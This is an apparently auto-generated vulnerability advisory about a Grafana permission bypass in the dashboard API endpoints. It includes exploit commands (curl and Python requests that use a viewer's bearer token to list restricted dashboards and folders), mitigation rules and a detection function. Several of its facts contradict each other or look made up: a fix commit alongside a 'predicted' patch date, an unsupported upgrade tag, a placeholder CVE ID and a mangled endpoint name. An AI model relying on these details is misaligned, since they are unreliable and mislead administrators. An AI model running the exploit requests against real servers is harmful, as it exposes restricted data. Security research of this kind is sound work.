Listen to this Post
This vulnerability in Grafana’s `/apis/dashboard.grafana.app/` endpoints allows authenticated users to bypass dashboard and folder permissions. The flaw stems from improper permission validation in API endpoints (v0alpha1, v1alpha1, v2alpha1), enabling attackers with viewer/editor roles to access restricted dashboards.
When a request is sent to these endpoints, Grafana fails to enforce folder/dashboard-level ACLs, allowing:
– Viewers to see all dashboards/folders.
– Editors to modify/delete any dashboard.
– Editors to create dashboards in unauthorized folders.
Anonymous users with viewer/editor roles are also affected. Organization boundaries remain intact, but attackers can exfiltrate sensitive dashboard data.
The issue occurs due to missing permission checks in the dashboard API handlers, where user roles are not validated against resource ownership. Fixed in commit c7a690348df7.
DailyCVE Form:
Platform: Grafana
Version: < 0.0.0-20250521183405
Vulnerability: Permission bypass
Severity: High
Date: Jun 5, 2025
Prediction: Patch expected Jun 15, 2025
What Undercode Say:
Analytics:
- Exploit requires authenticated access (viewer/editor role).
- API endpoints `/apis/dashboard.grafana.app/valpha` are vulnerable.
- No CVE ID assigned yet (placeholder: CVE-2025-XXXX).
Exploit Commands:
curl -X GET "http://<grafana-host>/apis/dashboard.grafana.app/v1alpha1/dashboards" -H "Authorization: Bearer <user-token>"
import requests
headers = {"Authorization": "Bearer <token>"}
response = requests.get("http://<grafana-host>/apis/dashboard.grafana.app/v2alpha1/folders", headers=headers)
print(response.json())
Mitigation Commands:
1. Upgrade:
docker pull grafana/grafana:10.5.1
2. Temporary Fix:
location /apis/dashboard.grafana.app { deny all; }
3. Audit Logs:
grep "GET /apis/dashboard.grafana.app" /var/log/grafana/grafana.log
Detection Code:
def check_vulnerable(url, token):
try:
r = requests.get(f"{url}/apis/dashboard.grafana.app/v1alpha1/dashboards", headers={"Authorization": f"Bearer {token}"})
return r.status_code == 200 and "dashboards" in r.json()
except:
return False
Patch Analysis:
- Commit `c7a6903` enforces RBAC checks for all dashboard/folder operations.
- Patched versions:
>= 0.0.0-20250521183405.
Impact Score: 8.5/10 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
